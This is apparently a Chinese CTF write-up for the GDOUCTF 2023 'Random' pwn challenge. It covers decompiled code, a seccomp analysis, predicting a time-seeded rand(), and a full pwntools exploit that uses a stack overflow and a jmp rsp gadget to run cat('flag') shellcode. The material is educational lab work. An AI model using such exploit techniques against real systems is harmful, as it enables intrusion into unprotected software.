GDOUCTF 2023 Random wp

字数: 785

还得要多研究研究 shellcode 呀……

题面

给了二进制文件

分析

checksec 查看保护:没保护!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./RANDOM
[*] '/data/project/ctf-repo/pwn/nssctf/GDOUCTF_2023-Random/RANDOM'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  __int64 v4; // rdx
  __int64 v5; // rcx
  __int64 v6; // r8
  __int64 v7; // r9
  unsigned int v8; // eax
  int v10; // [rsp+0h] [rbp-10h] BYREF
  int v11; // [rsp+4h] [rbp-Ch]
  int v12; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  v3 = stderr;
  setbuf(stderr, 0);
  v12 = 100;
  sandbox((__int64)v3, 0, v4, v5, v6, v7);
  v8 = time(0);
  srand(v8);
  for ( i = 0; i < v12; ++i )
  {
    v11 = rand() % 50;
    puts("please input a guess num:");
    if ( (unsigned int)__isoc99_scanf("%d", &v10) == -1 )
      exit(0);
    if ( getchar() != 10 )
      exit(1);
    if ( v11 == v10 )
    {
      puts("good guys");
      vulnerable();
    }
    else
    {
      puts("no,no,no");
    }
  }
  return 0;
}

有 sandbox,用 ceccomp 分析下保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
❯ ceccomp probe RANDOM
[INFO]: Start tracing process 3181235
[INFO]: Parsing seccomp filter loaded in process 3181235
open      -> ALLOW
openat    -> ALLOW
read      -> ALLOW
write     -> ALLOW
execve    -> KILL
execveat  -> ALLOW
mmap      -> ALLOW
mprotect  -> ALLOW
sendfile  -> ALLOW
ptrace    -> ALLOW
fork      -> ALLOW

关了 execve。

有伪随机数用 time(0) 当种子,用 ctypes 可以过去。

当随机数匹配成功就进入 vulnerable 函数:

1
2
3
4
5
6
7
ssize_t vulnerable()
{
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("your door");
  return read(0, buf, 0x40u);
}

给了栈溢出,但是空间显然不够。溢出完只剩下 24 字节可以用。
但是没开 NX 保护呀,可以试试 ret2shellcode。

看函数表还发现一个 haha 函数:

1
2
3
4
void haha()
{
  __asm { jmp     rsp }
}

jmp rsp 内联汇编,rsp 一直指向栈顶,这样跳转就可以往下执行栈上的命令,说明是 ret2shellcode

利用

首先把伪随机数打掉:

1
2
3
4
5
6
cFunc = cdll.LoadLibrary("/usr/lib/libc.so.6")
cFunc.srand(cFunc.time(0))

v6 = cFunc.rand() % 50
io.recvuntil(b"num:")
io.sendline(str(v6).encode())

接下来就是栈溢出。因为溢出空间不够,就很难办。加上 jmp rsp 之后只剩下 16 字节了。所以要把 shellcode 放在前面,这里可以写跳转 shellcode 到前面,也就是 buf 的位置。

1
2
sub rsp
call rsp

调用 shell 的 shellcode 太长了,直接 cat(“flag”) 短小,所以使用 shellcraft 生成 cat(“flag”)。

1
2
shellcode = asm(shellcraft.cat("flag")).ljust(0x20 + 0x8, b"\x00")
payload = shellcode + p64(jmp_rsp) + asm("sub rsp,0x30;call rsp")

这样的 shellcode 仅占 0x36 字节,足以写入。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from ctypes import *

context(os="linux", arch="amd64")
io = process("./RANDOM")
#io = remote("node5.anna.nssctf.cn", 29425)

cFunc = cdll.LoadLibrary("/usr/lib/libc.so.6")
cFunc.srand(cFunc.time(0))

elf = ELF("./RANDOM")
jmp_rsp = 0x40094E

v6 = cFunc.rand() % 50

io.recvuntil(b"num:")
io.sendline(str(v6).encode())

gdb.attach(io)
shellcode = asm(shellcraft.cat("flag")).ljust(0x20 + 0x8, b"\x00")
payload = shellcode + p64(jmp_rsp) + asm("sub rsp,0x30;call rsp")
print(hex(len(payload)))
io.recvuntil(b"door")
io.send(payload)

io.interactive()